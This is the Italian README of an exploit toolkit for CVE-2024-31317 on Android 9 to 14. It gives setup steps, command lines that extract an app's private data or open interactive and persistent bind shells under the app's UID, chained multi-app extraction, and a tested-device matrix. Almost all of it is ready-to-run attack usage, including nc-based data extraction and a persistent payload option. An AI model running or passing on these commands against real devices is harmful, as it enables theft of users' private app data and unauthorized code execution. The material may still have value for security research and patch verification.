
Questo è un toolkit che utilizza CVE-2024-31317 per estrarre dati privati delle app tramite ADB o avviare una shell con l'UID di un'app.
Questo è un toolkit che utilizza CVE-2024-31317 per estrarre dati privati delle app tramite ADB o per avviare una shell con l'UID di un'app. Questa vulnerabilità riguarda le versioni di Android dalla 9 alla 14 con livello di patch di sicurezza 2024-06-01 o inferiore. Di seguito è disponibile una matrice di supporto dei dispositivi testati.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Aggiungi le righe export a ~/.bashrc (o equivalente) per la persistenza.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
L'exploit compila tutto da Hijack.java e AndroidManifest.xml al primo avvio.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
Tutto viene compilato dal sorgente in fase di esecuzione. La pipeline di compilazione usa javac (JDK 17+), d8, aapt, zipalign e apksigner dell'Android SDK.
Se il dispositivo ha un passcode, parte in modalità BFU (prima del primo sblocco). L'exploit interroga sys.user.0.ce_available per un massimo di 5 minuti finché non sblocchi il dispositivo. Si consiglia di rimuovere il passcode per la durata dell'exploit.
† Specifico di Samsung One UI: l'iniezione ZNJECT riesce e l'estrazione -E funziona, ma la shell bind ServerSocket di toybox nc non si apre mai. Sono necessarie ulteriori ricerche per trovare la causa principale del problema.
Il payload rimasto in hidden_api_blacklist_exemptions può causare un boot loop al riavvio successivo. Esegui --recover per ripristinare:
python3 cve_2024_31317.py -d DEVICE --recover
| Flag | Descrizione |
|---|
-E | Estrae i dati dell'app tramite tar | nc del processo nipote (sopravvive alla terminazione del processo padre) |
-i | Shell bind interattiva REPL |
-S PORT | Shell persistente (protocollo FIFO a porta singola) |
--recover | Reimposta l'impostazione, risolve il blocco all'avvio / il degrado di Zygote |
--setup | Compila e installa solo l'APK carrier (nessuna iniezione) |
--list-apps | Elenca tutti i pacchetti installati con UID e tipo sys/user |
--check-vuln | Controlla se il dispositivo è vulnerabile a CVE-2024-31317 ed esce |
| Flag | Descrizione |
|---|
-o file.tar | Percorso di output per il tarball di estrazione |
-y / --yes | Salta le richieste di conferma |
--retries N | Numero massimo di tentativi per target (default 3) |
--chain-targets "pkg1,pkg2" | Estrae più app in una singola sessione |
--chain-file file.json | Come sopra, da file JSON |
--reboot-after | Riavvia dopo l'estrazione (ripristina Zygote) |
--reboot-every N | Riavvia dopo ogni N target della catena |
--cold | Salta il warm-up; conserva il payload per il prossimo avvio dell'app |
--port PORT | Porta della shell bind (default 8888) |
-d SERIAL | Scegli un dispositivo specifico (quando più dispositivi sono collegati) |
--rebuild | Forza la ricompilazione dell'APK carrier |
| Dispositivo | Android | API | Patch | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Punteggio |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |